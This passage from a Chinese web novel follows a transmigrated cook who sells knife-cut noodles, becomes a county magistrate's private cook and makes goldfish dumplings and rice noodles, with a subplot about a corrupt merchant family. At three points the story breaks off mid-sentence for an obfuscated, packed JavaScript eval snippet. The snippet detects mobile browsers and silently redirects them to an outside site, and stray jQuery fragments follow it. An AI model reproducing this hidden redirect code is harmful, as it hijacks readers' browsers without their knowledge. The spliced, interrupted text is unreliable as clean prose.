翌日清晨,云楚沅揣上全部家当,前往临海县的牙行,请租赁房屋的牙人为她寻一间铺子。 “小姐是要买铺子,并非租铺子是吗?”牙人略微思索,用手捋着下巴上那一撮短须,目光炯炯有神,带着一种精明能干的气质。 “怎么?不好找吗?”云楚沅忐忑不安地问道,万事俱备只欠东风,临门一脚了,总不至于寻不到做生意的店铺吧。 “非也,只是愿意整间卖出的铺子不是位置偏,就是房屋破旧,实在不是好选择啊。”牙人向她解释。 临海县繁华一点的街道,统统掌管在以徐家为首的富商手里,而且大生意都被他们垄断了,没权没势的平头老百姓怎么可能从他们手里讨到好处。 牙人没有直接拒绝,因为他最近收到了一则消息,东街一家卤味铺子被徐家的湘香馆使手段骗去了卤肉方子。 他们一家人准备搬离临海县,想要绝卖房子,唯一的要求就是不能卖给富绅,普通百姓没那个银钱来买,这云姑娘倒是个不错的接手者。 11. 县衙小厨娘 牙人告知云楚沅过几日再来一趟,说不定到时就有房屋售卖了。 云楚沅意兴盎然地来,败兴而归。没想到穿越到了古代,买房依然是个大难题。 第二日,云楚沅推着小推车来到东市她以往摆摊的位置,却发现已经被人占了。 “海鲜面!好吃的海鲜面,只要十文钱。” 这个小摊竟仿照她卖一模一样的面食,摊贩是个獐头鼠目的男子,摊位上摆放的食材和调料也和她的相像,就连海鲜面的卖相都差不多。 因他买的面便宜两文钱,倒是吸引了不少客人。 “哟,怎么不是以前的小娘子来卖面?” “嗐,我是她堂哥,她把海鲜面的活计交到我手上了。” 这不要脸面的小贩竟还打着她的旗号招揽客人,不明真相的人还以为海鲜面还是原来的味道,吃了一口才发现上当受骗。 云楚沅气不过,正想上前理论,这厮不仅利用她获利,还败坏她的口碑,以后还叫她怎么做生意。 “云小娘子!”卖包子的大娘一瞧见云楚沅气势汹汹的模样,就知晓她打算干嘛,连忙拽住她拉到了包子摊后。 “云小娘子,这几日你怎么没来摆摊?” 云楚沅死死地盯着卖面小贩,心不在焉地回道:“村里有些琐事处理。”她忙着出海和鱼塘养殖的事,确实已经有段时日没来县里卖吃食了。 包子摊的大娘忧心忡忡地劝道:“你有所不知,此人名唤孙大福,他妹妹是徐家少爷的通房丫鬟,孙大福平日里狗仗人势,没少干缺德事。云小娘子你还是忍一忍吧,省得被他报复。” 常言道,宁得罪君子,勿得罪小人。 云楚沅明白大娘的意思,这世道,有权有势的人说了算,她一介平民女子,直接对上这类人,无疑是蚍蜉撼树。 还有这徐家,真是阴魂不散啊,连府上丫鬟的亲属都自诩高人一等,那他们徐家人必然没少做伤天害理的事。 云楚沅在孙大福不远处的位置支起摊子,她今日准备了新的面食,既然不能正面和他对峙,那就凭实力打败他。 集市一隅,一口大锅立了起来,炉火烧得正旺,锅里沸腾的热水“咕嘟咕嘟”冒泡,升起的热气模糊了摊位后女子的面容,悠悠飘散向四周。 此刻的云楚沅正揉着案板上光滑的面团,反复摔打,“啪啪啪”的声响吸引了行人的目光。 云楚沅用左手托起面团,微微侧过身体,右手拿起特制的削面刀,手上的动作行云流水,刀片轻车熟路地在面团上游走,中间厚、两边薄的面片如同银鱼一般,簌簌飞至锅中。 “噗通噗通!”面片入水,溅起朵朵水花,它们在热汤中上下翻滚,似在水中翩翩起舞。 众人纷纷驻足围观,对这新鲜的面食感到好奇,未曾有人见过,这做面条还能像是杂耍一般引人入胜。 不多时,云楚沅用竹筷捞起面条,搁进粗瓷大碗之中,淋上提前做好的海鲜浇头。 一碗热气腾腾的海鲜刀削面就此诞生,这份面饱含市井烟火气,接二连三有人掏钱买面,他们端过碗去大快朵颐,脸上露出满足的表情。 云楚沅对自己做的刀削面胸有成竹,这刀削面需要硬质面团,用冷水和面,期间把控好粉与水的比例,加点盐增加面筋韧性,多次揉面和醒面来提高其延展性。 除此之外,削面的手法要快、准、狠,特制刀刃是弧形的,刀身与面团的夹角越小,面片越薄,反之愈厚。 削面时,每一刀都要压在前一刀一半之处,会形成边缘薄如蝉翼的柳叶形,右手匀速削面,左手转动面团,掌握好节奏,削出来的面片才能大小均匀。 这次的海鲜浇头比起以往,多加了云楚沅自制的蚝油,所以味道也更好了几分。 孙大福表情阴狠地盯着不远处的面摊,不由出声咒骂道:“呸,小蹄子,别得意,咱们走着瞧!” 云楚沅已经忙翻了天,不停重复着煮面、捞面的动作,哪有功夫注意到小人行径。 今日的生意比以往都要好,这表演削面的噱头博得了许多关注。 一走进东市的裴昱臣也被那空前热闹的场景吸引,他来此本是想看看百姓们有没有被先前悬挂的土匪头颅影响,顺便安抚一下人心。 不成想,一来就瞧见了如此盛况,显然死人的阴霾并没有影响商贩们的生意。 裴昱臣凑近一看,哟,还是熟人。 “云姑娘,生意不错呀。” 云楚沅抬头瞧见来人,扬起娇美的笑容,“我当是谁呢?原是咱们裴县令来体察民情来了。” 再见裴大人,他还是那样玉树临风、温文尔雅。 云楚沅动作麻利地做了一碗面,“我请大人吃新上的刀削面。” 裴昱臣从袖子里掏出铜板,放到小推车的木台上,说道:“为官之人,怎能占百姓的便宜,还请云姑娘收下。” 这人还是那样古板正经,云楚沅也不好逼人家打破原则,遂收下了铜钱。 “天哪,是裴县令,他竟也吃咱们东市的小吃。” “青天大老爷爱吃的面,味道一定不一般,我也要买一碗!” “别挤我,别挤我,让我近距离瞧瞧裴大人的英姿。” “哇,裴大人长得真英俊,不知可否婚配?” “切,就算县令大人未曾娶妻,也看不上你这卖猪肉的、五大三粗的女子。” 四周传来叽叽喳喳的议论声,不少路人都凑过来围观,再次带动了云楚沅面摊的生意。 云楚沅忙的脚不沾地,心想,这就是传说中的明星效应吗?原来古人也喜欢跟风啊。 “诸位,本官不欲造成集市拥堵,无事之人还望速速离去。”不苟言笑的裴昱臣还挺能唬人,他的一身官威吓退了不少人,方才还挤成一团的百姓们如潮水般褪去。 瞬间,云楚沅的摊位前空无一人,她都不知是该笑还是哭。 “裴大人威风凛凛,吓跑了我的食客们,该怎么负责?”云楚沅开了个玩笑,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950557|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的面已经买的差不多了,但她就是想逗逗这小书生,想看他惊慌失措是何等模样?这就是女人的恶趣味吧,喜欢反差萌。 裴昱臣板着脸,躬身作揖,慎重其事道:“是在下的不是,还望姑娘原谅则个。” 他顿了顿,继续道:“倘若云姑娘不嫌弃,可来县衙做事,我发给你和县衙的庖子同等的月钱,但姑娘只需为我一人偶尔做两道吃食便可。” 云楚沅来了兴趣,想不到这县令大人还准备给她安排长久工作呢,而且听他的说法,还是兼职,这倒新鲜。 “大人愿给多少月钱?” 裴昱臣略微一顿,道:“自是比不上姑娘摆摊卖吃食赚得多,一月五两银子,但姑娘可住在官舍之中,还可随意取用膳房内的食材。” 云楚沅轻抚着自己小巧的下巴,觉得这个提议还不错,这样一来,她往后有了个可以临时休息的住所,不必日日在小渔村和临海县来回奔波。 况且待食肆开起来,需常住在县城,她一个人便罢了,但她放心不下楚河和楚清,肯定要把他们一同接来县城,除了楚河偶尔跟着师傅出海时,他们再回小渔村住。 这样好处多多、还不累人的兼职哪里找去?裴县令真是个实在人,她一句玩笑话,就叫他妥协至此。 云楚沅笑着点头:“好,我愿意去县衙做厨娘。” 裴昱臣松了口气,不仅是因为有了补偿对方的办法而庆幸,还因为即将会摆脱县衙里难吃的膳食而窃喜。 他提出这个提议,确实存了私心,云姑娘的好手艺是他平生少见,就连他在京城有幸光顾过一次的醉仙楼,都望尘莫及。 云楚沅收摊之后,决定跟裴昱臣回县衙,先给他露一手,做一道益精补血的海带排骨汤。 经过小火慢炖的排骨汤,呈现出一种奶白色,排骨软烂,轻轻一扯,便从骨头上脱落下来,咀嚼起来软糯而有嚼劲。 墨绿的海带吸收了浓郁的肉汤,吃起来柔软而有韧性,同时可以中和掉猪肉的油腻。 裴昱臣轻轻抿一口汤,清甜鲜美的味道瞬间在口中散开,带着一股浓郁的油脂香。 肉汤顺着喉咙滑过,从胃到心感到一阵温暖而又舒适的感觉,仿佛给全身带来滋润和抚慰。 他细细品味,甚至还能回味到排骨的肉香和海带的鲜甜,相辅相成。 “裴大人,味道如何?”云楚沅坐在一旁,托着腮看向他,这人用膳也如此善心悦目,真应了那句话,秀色可餐。对着这张俊脸,她能多用两碗饭! “味道极好,云姑娘师承何处?莫非祖上出过御厨?”裴昱臣放下碗筷,动作优雅地用帕子轻拭嘴角。 “哈哈,也许吧。”云楚沅微微一笑,打着马虎眼。 一大碗海带排骨汤见底,这小书生看着不壮实,饭量倒是不小,也许和他练武有关,应当是那种精瘦的类型。 云楚沅的目光隐晦地扫视过他的腹部,裴昱臣尴尬地红了耳根。 云姑娘是嫌他太能吃了吗? 12. 水晶金鱼饺 离开县衙,云楚沅去西街的宋记粮铺买了些澄面,自打上次在徐记粮铺差点被徐公子轻薄后,云楚沅就不再去徐家名下的产业。 一方面是心里膈应,另一方面还是担心遇上那个纨绔被纠缠。 虽说她与舅母的官司被裴县令处理了后续,徐家人没再揪着不放,但云楚沅可不信徐公子会轻易放弃,指不定在背后憋什么坏招呢。 一朝被蛇咬,十年怕井绳,云楚沅如今都会随身揣着一把匕首,以防再遇上歹人。 这宋记粮铺虽位置不好,光顾的客人少,但他们的粮食种类繁多、质量上乘,云楚沅觉得奇怪,这么好的粮铺怎么在临海县鲜为人知? 云楚沅和铺子里的周掌柜交谈一番后方才得知,这宋记的主家是江南的大富商,周掌柜自幼跟着宋老爷走南闯北,现今年纪大了腿脚不好,遂决定返回家乡。 宋老爷感念他多年苦劳,出钱为他在老家临海县开了一家粮铺,定期派人送货。 临海县与江南相隔八百里,周掌柜心知跟主家这一别怕是再难相见,更别提临海县地处偏僻,交通不便,周掌柜将铺子冠上主家之姓,意在感恩戴德。 “周掌柜,你的粮铺可会遭徐家打压?”云楚沅轻声询问。 “这……实不相瞒,强龙不压地头蛇,起初确实如此。不想徐老爷从别处得知宋记粮铺的背后是江南的宋家,他才偃旗息鼓,想必我是沾了主家的光。”周掌柜感叹道。 云楚沅了然,徐家也就在这小县城称霸了,离了临海县啥也不是。 “掌柜的,你对徐家了解多少?他们莫非想要将生意做到江南?” 周掌柜抚摸着长髯:“确有此意,先前徐老爷还派人来邀我到府上做客,言语之间皆是让我为他和宋家主牵线搭桥之意。” “然后呢?周掌柜你不会应了吧。” “哪能啊,这徐家是临海县出了名的奸商,我断然不会答应,更何况宋老爷已经把宋家的生意交到大少爷手上了,哪里还有我这等老奴插话的份。” “老伯何必妄自菲薄?您离开主家后都能得此善待,想必年轻时乃宋家主的左膀右臂,能干的很。”云楚沅恭维道。 “哈哈,你这丫头,有两份眼力见儿,小老儿我年轻时帮主子管理万亩良田和众多铺子,也算是见多识广。”周掌柜笑得满脸皱纹,吹嘘起了自己的丰功伟绩,讲起生意经来头头是道。 “哇,老伯您是宋家的大管事啊,怪不得我第一眼就瞧着您不似一般人。”云楚沅恰到好处地接话,两人相谈甚欢。 云楚沅不动声色地将话题引到自己身上,“老伯,我刚当上县衙的厨娘,不知日后能在您这儿长期订购粮食吗?” 周掌柜疑惑道:“县衙应该专门有人负责采买吧。” “嗐,我是县令一人的小厨娘,自是想找更好的食材来做膳食,我踏遍临海县,就你们家的粮食价格公道、品质又好。”云楚沅杏眼含笑,她其实是在寻摸开食肆后的合作商,从米面酱醋到菜蔬荤腥,皆要长期订购,徐记自然不在她的考虑范围之内。 “哟,恕老夫眼拙,竟没看出姑娘是掌庖厨之人。”周掌柜好整以暇地重新打量了一下云楚沅,这小姑娘扶风弱柳、小家碧玉的模样太有欺骗性,实在看不出她是整日与灶台柴火打交道。 云楚沅眉眼带笑:“老伯,日后我还会开一间食肆,我看中你们宋记粮铺了,咱们可以签订契约长期合作。” 周掌柜老神在在道:“姑娘既是裴县令的人,这件事自是好说。” 与宋记粮铺的掌柜做下口头约定,云楚沅志得意满地离开了。 裴昱臣裴大县令的名头就是好用,她这算不算是多了个有权有势的靠山?虽然只是个七品芝麻小官,但也勉强够用。 回到小渔村的家中,刚申时三刻,小弟和小妹都不在家中,云楚沅收拾好院子,准备用新买来的澄面做水晶金鱼饺。 先用一锅水煮红苋菜,时间不必过长,顷刻后熄火,将红色的汁水装碗备用,红汁、澄粉和面粉拌好,加一点点盐,揉成光滑的面团后醒发一刻钟的时间,这样能使面团更柔软且有弹性。 桃粉色的面团醒发好后,切割成一个个小剂子,搓圆压扁,用擀面杖将其擀成中间厚、两边薄的圆形饺子皮。 金鱼饺的馅料是虾仁猪肉馅的,虾仁和菜蔬切成碎丁,混入猪肉沫中,酱油、盐、糖和胡椒粉调味。 云楚沅将圆皮置于掌心,中间放上一勺肉馅,将饺子皮从中间捏住,向上提起,两边对粘起。 靠前一端的皮用筷子头夹出连在一起的三个小孔,做成鱼嘴和鱼眼睛。而后捏紧中间靠后的位置,将馅料往身前推,把后面的皮按扁成扇形,用木梳压出花纹,修剪成鱼尾状。最后在鱼的两只眼睛孔里放上青豆或胡萝卜丁做装饰。 鱼的脊背处用铜镊子夹出背鳍,再在鱼眼后和靠近尾巴处的夹出腹鳍,成型的金鱼饺上蒸笼蒸半刻钟。 水晶饺子皮筋道又有弹性,内陷包含了虾仁的爽脆、猪肉的油润,以及菜蔬的清新,一口下去,口感丰富,层次分明。 金鱼饺造型精致、寓意吉祥,云楚沅想,若是再来个精致的摆盘,这道菜肴放到酒楼里去卖,不得要个好几两银子。 “哇,阿姐,这是什么?太好看了吧!”一蹦一跳进家门的云楚清一下就被吸引住了目光。 她用手臂扒住木桌边缘,下巴靠在左手背上,鼓起肉嘟嘟的腮帮,眨着灵动的眼眸,伸出右手食指,有一下没一下地虚空点着金鱼饺。 “这是金鱼虾饺,你尝尝。”云楚沅用筷子夹了一只金鱼饺递到小妹的嘴边。 云楚清没有动嘴,目不转睛地瞧着近在咫尺的虾饺,面带纠结地开口:“阿姐,小鱼太漂亮了,我舍不得吃……” “你不吃,那我可要吃了。”云楚沅收回筷子,作势要把金鱼饺塞进自己嘴里。 “啊,不要,阿姐,我吃我吃!”云楚清一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950558|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就急了,踮起脚尖去拉云楚沅的衣袖,将漂亮小鱼从虎口中拯救了出来。 酉时二刻,云家一家三口正如往常一般用饭,云楚沅吃相秀气,云楚河狼吞虎咽,唯独小妹云楚清迟迟不肯动筷,目光呆滞地盯着小碗里的金鱼饺。 “咚咚!”云楚沅看不下去,用筷子敲了敲她面前的瓷碗。 “再看也看不出朵花来,清儿,你再不吃,楚河可就全吃光了。” 云楚清回过神来,盘中的金鱼饺已经少了一大半,显然大多都进了哥哥的肚中,她赶紧夹了好几只进碗里,撅起嘴来抱怨道:“哥哥,你怎么不等我。” 云楚河抹了把嘴,大大咧咧道:“小妹,我以为你光看就能看饱呢。” 云楚清嗔怪地瞪了他一眼,小口小口地咬着金鱼饺,“我只是舍不得吃。” 云楚沅将自己碗里的金鱼饺夹给她,无奈笑笑:“往后我还会给你们做的,你要是真喜欢这小金鱼的造型,不妨把它绣到帕子上,这样你日日都能欣赏。” “阿姐,你真聪明!”云楚清眼睛一亮。 旁边的小弟撇撇嘴,小声嘀咕道:“就她那粗糙的针脚,绣出来的指不定是鱼怪呢?” 云楚清气鼓鼓地用小拳头轻捶了他一下,恼羞成怒道:“哥哥,你乱说什么呢!” “我可没乱说,你瞧瞧你帮我缝的袜子。”云楚河一把蹬掉自己的布鞋,露出来的灰袜上线头杂乱地冒出,针脚疏密不均、歪歪扭扭,看起来十分丑陋。 “噗嗤!”云楚沅捂着嘴笑出声,“哈哈,楚河,你待会把袜子脱下来,我重新帮你补一下。” 云楚清一脸尴尬:“哼,臭哥哥,我以后再也不帮你缝衣裳了!” 用过晚膳之后,云楚沅叫住想要往屋里跑的小妹,“等等走,阿姐有事要同你们说。” “什么事呀,阿姐?”云楚清乖乖坐下。 “我今日答应裴县令去做县衙的小厨娘,日后卖完吃食后可能会在县衙留宿,你们愿意跟我一起搬去县城吗?” 云楚沅正襟危坐,用平等的姿态和两人商量,她从来不会因为小弟和小妹是孩子而轻视他们,他们都有表达自己想法的权利。 云楚河先说道:“阿姐,你带小妹去吧,我隔三岔五就得跟着阿汤师傅出海,就不搬去县城住了,再者阿姐你的鱼塘也需要人看顾。” “这……你一个人怎么做饭呢?”云楚沅面露纠结。 “阿姐,我可以和师傅一起吃。” 云楚沅还是不太放心,“这样吧,我每隔一日就带小妹回来住。” “行,阿姐要是长久不回,我肯定会想念你的手艺的。”云楚河咧嘴笑,要不是跟着学打渔不能半途而废,他都想撂挑子不干跟她们一块走,转念一想,阿姐也不会喜欢不守信用之人。 “阿姐住哪,我就住哪。”云楚清没什么意见,她现在满门心思都放在绣帕子上,待会去向春香姐讨教讨教,小金鱼要怎么绣呢? 13. 鱼丸鸡汤米线 临海县县衙坐北朝南,内设三班六房,除县令外,有负责粮司和征税的县丞、掌管户籍和巡捕的主簿、掌管缉捕和监狱的典史。 云楚沅带着小妹来到衙门时,跟门房通报一声,就有下人将她们领了进去,穿过大门和仪门,先后经过大堂、二堂、三堂来到后宅。 裴县令给她安排的住所在西院,离膳房不远,云楚沅打量了一圈寝室,雕花木床上铺着素色锦缎,干净整洁,无一丝褶皱,显然有丫鬟提前收拾过。 中央摆放着木桌椅,墙角静静立着一个矮柜,还有灯台、衣架和面盆架这等摆设,再无其他,更多用品还是等她安顿下来后,慢慢添置吧。 好奇的云楚清四处逛了一圈,问道:“阿姐,我要睡在哪里?” 云楚沅只顾着整理包袱里的衣裳,倒是忘了这件事,不用问也知道,县衙也就只会给厨娘准备一间屋子,不可能连厨娘的家属也安排妥当,又不是做慈善的。 “小妹,夜里你跟我一起睡,这床塌容得下我们两人。” “嗯,好。”云楚清没觉得有什么不妥,村子里穷困人家子嗣众多,房屋住不下甚至会有五六个孩子挤在一张塌上睡的,这县衙里的瓦房可比小渔村的茅草房强多了,最起码不会漏风。 云楚沅解开另一个包袱,取出她自己做的蚝油等调料,这可是她的秘密武器,除此之外,还有一个食盒,里面放着她早上蒸好的金鱼饺。 初来乍到,将吃食分给县衙里的小官吏和下人,一方面可以快速拉进关系,另一方面也能向他们展示自己的手艺,好叫他们知晓她可是凭本事做上厨娘的,可不要瞧她是个年纪轻轻的小女子就轻视她。 云楚沅领着小妹走出西厢,往膳房走去,一路上遇到的人都会热情地送吃食,并表明自己的身份。 半信半疑的丫鬟小厮们在尝过她的手艺后无不称赞,直言县令大人慧眼识珠。 走至靠近县令宅院的西花厅时,云楚沅碰上了负责照顾裴县令起居的小厮青竹。 “云姑娘,久仰大名,大人常常念叨着姑娘做的吃食,如今请您来府上,可算是得偿所愿了。” 青竹年纪不大,瞧着也就十三四岁的模样,脸庞圆润,笑起来眼睛眯成了一条细缝,看着讨喜极了。 云楚沅将食盒的第二层打开,里面是一盘没人动过的金鱼饺,“青竹,你将这碟金鱼饺给裴大人送去吧,感谢他给我这个机会来县衙做厨娘。” 青竹双手接了过去,瞪大双眼惊叹道:“云姑娘好手艺,这小鱼做的栩栩如生。” 云楚沅微微一笑,打开食盒的上层,递给青竹,“这里还剩一只金鱼饺,你也尝尝吧。” 青竹双眼一亮,咽了咽口水,迫不及待地伸手拿起来,一下就丢进了嘴里,鼓着腮帮子嚼了嚼,“嗯!真好吃啊,百闻不如一见,云姑娘果真如裴大人所说,手艺妙极!” 弹牙的外皮包裹着油香的肉馅,咀嚼间还能尝到虾仁脆脆的口感,让人吃了一只还想吃,青竹眼神火热地盯着手中那份要给自家大人的金鱼饺,心想,大人可真有口福啊。 青竹走在回主院的石板路上魂不守舍,差点一头撞上书房的木门。 “叩叩叩!” 敲门声响起,打断了裴昱臣提着毛笔练字的动作。 “进来。” 青竹低着头恭敬的走进书房,站到书桌前回禀:“大人,云姑娘已经在西院安顿好了,这是她特意为您准备的吃食,名叫水晶金鱼饺,另托我向您道谢,云姑娘很高兴能成为您的厨娘。” 裴昱臣将手中的毛笔搁到黑石笔架上,目光投向青竹手里端着的精致吃食上,他眉梢微动,掩饰住自己心底的迫切,不紧不慢道:“哦?既是云姑娘的一片心意,端上来我瞧瞧。” 青竹连忙将那碟金鱼饺置于桌上,脸上带有意犹未尽之色,回味道:“大人,我尝过了,味道当真一绝!” 裴昱臣拿筷子的手一顿,面无表情地瞥了他一眼,声音冷淡地说道:“我还没吃,你就先尝过了?云姑娘到底是我的厨娘还是你的?” 青竹一下子噤声,小心翼翼地偷瞄了裴昱臣两眼,结结巴巴地开口:“大……大人,我不是头一个吃的,云姑娘已经给后宅的下人都分过了。” 裴昱臣脸色一黑,他亲自请来的厨娘,如今竟是便宜了外人,他都还没吃上珍味呢,下人们先尝过了,再则这一小碟五六只蒸饺,哪里够他塞牙缝的! “咳,以后不许他们这般没规矩,通知他们日后不许收云姑娘的吃食。” 青竹苦着一张脸应下,唉,以后怕是与云姑娘做的珍馐无缘了。 裴昱臣举止优雅地轻咬一口金鱼饺,咀嚼两口后微微顿住,脸上的表情没什么变化,叫人看不出他的情绪。 裴大人向来喜怒不形于色,如果忽略他加快了手上夹筷子的动作的话,还真叫人误以为裴大人不爱吃呢。 用完这碟蒸饺的裴县令用帕子擦了擦嘴,端起桌上沏好的茶水,轻抿一口,这一餐茶点甚合他的心意,他已经开始期待午膳了。 午时一刻,云楚沅准时抵达膳房,里面的大厨是上次有过一面之缘的朱师傅。 “云姑娘来了,上回一别,我就晓得我们会再见面的,没想到这么快。”朱师傅笑呵呵地抚摸着自己的大肚腩,这小姑娘必定和裴县令关系匪浅。 啧啧啧,给一人做吃食竟和他这位负责所有衙役膳食的疱子月钱一样,明显是醉翁之意不在酒啊,裴大人定是瞧上云姑娘了。 朱大厨自诩聪明,眼珠子一转,心想他可不是那等不识趣的人,撮合大人和心上人多相处是他该做的。 “云姑娘啊,我平日里要负责县衙里几十口人的膳食,做出来的大锅菜不合裴大人的口味,你来的正好,往后大人的一日三餐就交与你了。” 云楚沅没多想就应下了,虽然裴昱臣交代的是,偶尔给他做几道吃食打打牙祭,没有要求她负责三餐,但她每日都要用县衙的膳房,顺手为他多做一份也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950559|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不碍事。 “好,朱师傅你放心吧,只要我在县衙内,一定会亲自做裴大人的膳食。” 朱师傅欣慰地点头,裴大人已是弱冠之年,还未曾娶妻,这回有了心仪的女子,得抓住机会,近水楼台先得月,他就等着喝他们二人的喜酒了。 “朱师傅,劳烦您先帮我熬一锅鸡汤,我午膳打算做鱼丸鸡汤米线。” 膳房里泡着的粳米是朱师傅准备上锅蒸的,云楚沅取出来一小部分,倒入石磨中磨成细腻的米浆,这一步比较费劲,是膳房内的伙夫帮她磨好。 朱师傅在旁围观,出声说道:“要不我也跟着一起做米线吧,县衙里的小伙子们整日骂我做饭难吃,今日就给他们换个花样,还请云姑娘指点我两下。” “既如此,朱师傅就和我一起做吧,不过调味就由我来吧。”云楚沅将一罐蚝油放在桌上,这调料可是她自制的,就算这里人多眼杂,他们也学不去她的厨艺。 磨好的米浆用纱布筛去粗渣,再用石磨进行二次研磨,使其更加细腻顺滑,这样做出来的米线吃起来才会滑嫩。 铁盘上刷上油,倒入薄薄的一层米浆,旋转着晃动一圈,将米浆摇匀,上锅用大火蒸,待表面鼓起泡泡,便可将成型的米皮取出。 蒸熟的米皮稍微放凉后,用刀切成细长条,这便是湿米线。 接下来,云楚沅指挥着膳房的下人做起了鱼丸,取新鲜的黄花鱼处理干净,把鱼肉剁成肉糜,倒入葱姜水和盐捣成鱼泥,葱姜水多次少量地加入,每加一次就用手搅打上劲,使鱼肉将水充分吸收进去。 最后加淀粉搅拌均匀,用虎口挤出一个个小圆球,下入沸水煮熟,其色如瓷,颇有弹性。 灶上用老母鸡炖煮良久的鸡汤飘着一层黄油,用筷子夹出软烂脱骨的鸡肉,撕成鸡丝。 自制的米线和鱼丸送入金黄澄亮的鸡汤中,再烫一遍,使其吸收汤汁的鲜美,再添一把青菜,荤素搭配。 云楚沅对盛到碗里的米线进行调味,一勺酱油、一勺蚝油、半勺胡椒粉、半勺麻油,飘香四溢的鱼丸鸡汤米线馋的众人直咽口水。 朱师傅尝了一小碗,瞬间惊为天人,滑溜的米线与鲜美的鸡汤相结合,带来极致的味觉享受,浸润在美味鸡汤中的米线,吸饱了精华,一口接着一口,让人欲罢不能。 “啊,爽!”朱师傅将碗底的汤汁喝了个一干二净,将空碗重重置于桌上,他忙不迭又盛了一碗,“呼哧呼哧”地吃下。 旁边打下手的伙夫们眼神都直了,紧抿着嘴唇,不断咽口水。 “先按衙役的人数将米线盛好,若是锅里有剩,你们再分着吃吧。”云楚沅发话了,下人们手脚麻利地照做,最后锅里剩的米线一人还能吃上两口。 “哇!这是什么人间美味。” “这是我吃过最好吃的米线,太鲜了!” “啊,根本就没吃够呀,真希望以后日日都能吃到。” 下人们吃了两口米线,皆意犹未尽。 14. 口腹之欲 县衙二堂,裴昱臣正与手下的县丞、主簿等人议事,青竹走进来出声提醒:“各位大人,午膳时间到了,还请移步膳房。” 不惑之年的陈县丞摆了摆手,“唉,别催,我与县令大人还有要事相商。” 自裴昱臣上人以来,相继接手了衙门里的事宜,这临海县最大的难题就是穷,交不上税,久而久之,也得不到朝廷的重视。 在大燕朝,士绅可以免税免役,许多富商和地主会投机取巧,通过捐献、投献等方式,将田产挂在乡绅名下,借此逃避税收。 而历任县令贪腐严重,离任前销毁了账本,库房里的银钱寥寥无几,如今县衙都快入不敷出了。 裴昱臣近日对以徐家为首的富商们频频施压,催促他们按律法补齐应缴的赋税,否则就查封他们名下财产。 富商们却和稀泥,扬言上任县令在任时,他们都依法交税了,老县令贪腐和他们没关系。 这老县令早就卷铺盖走人了,留下这个烂摊子,裴昱臣上哪里去逮他? 徐家等人就是算准了裴昱臣没有证据,只能吃了这个哑巴亏,才会如此放肆。 裴昱臣沉思良久,还是没有头绪,以目前的情况来说,需要扶持新商户与徐家分庭抗礼,可临海县其他有点名气的商户不是被徐家排挤走了,就是以徐家马首是瞻,实在是没有好人选。 脾气火爆的梁捕头握紧拳头用力锤了一下桌子,怒气冲冲道:“该死的徐家人,真该千刀万剐!” 不怪梁铺头对徐家恨之入骨,他的长姐被徐二爷玷污,当时还是个小衙役的梁捕头怒发冲冠,提刀废了徐二爷的下身。 和徐家狼狈为奸的老县令不但不为他们梁家主持公道,还将他从县衙除名,之后梁家人就遭到了徐家的报复,要不是裴昱臣上任后慧眼识珠,将梁捕头重新召回,梁家也许就家破人亡了。 向来圆滑的许主簿出声宽慰:“梁铺头何必大动肝火,有咱们裴县令在,早晚能惩治徐家人。” 陈县丞眉头微皱,这姓许的就是个墙头草,谁的势大,他就向谁倒戈。 老县令在时,他就喜欢溜须拍马,捧徐家人的臭脚,金银财宝没少收。 若非县衙里缺人手,他早就向新县令禀明,将这种卑鄙小人撵走了。 裴昱臣坐在上位的太师椅上,将众人的神情尽收眼底,县衙的这班人马是他来到这里之后委任的。 陈县丞在衙门当了多年小吏,熟悉临海县的情况,可以重用。 梁捕头是个练家子的,嫉恶如仇,但只有匹夫之勇,还需调教。 而许主簿此人是裴昱臣故意留下的,他心里清楚这人是徐家的眼线,日后利用好了,说不定能反将一军。 “咳,既已到了用午膳的时辰,诸位就先将公务放一放吧。” 裴昱臣自打青竹进来通报后,谈公事的心思便淡了几分,既然一时半刻讨论不出个所以然,倒不如享用一顿美食转变一下心情。 可不是他馋嘴,而是民以食为天,填饱肚子才能更好地处理事务。 旁人并不能从面色如常的裴昱臣看出他的想法,还以为县令大人是在体恤下属。 许主簿抓住机会就阿谀奉承:“大人爱民如子,对下属关怀备至,能在大人您的手底下做事,小人倍感荣幸。” 陈县丞的八字胡微微抖动,嘴角抽了抽,这人要是能将嘴上功夫用在办实事上,何愁没有前途啊。 姿态豪放的梁捕头架腿而坐,翘起一脚,声如洪钟:“这么着急干嘛,膳房厨子的做的吃食和猪食有什么区别,哪有人抢着吃的。” 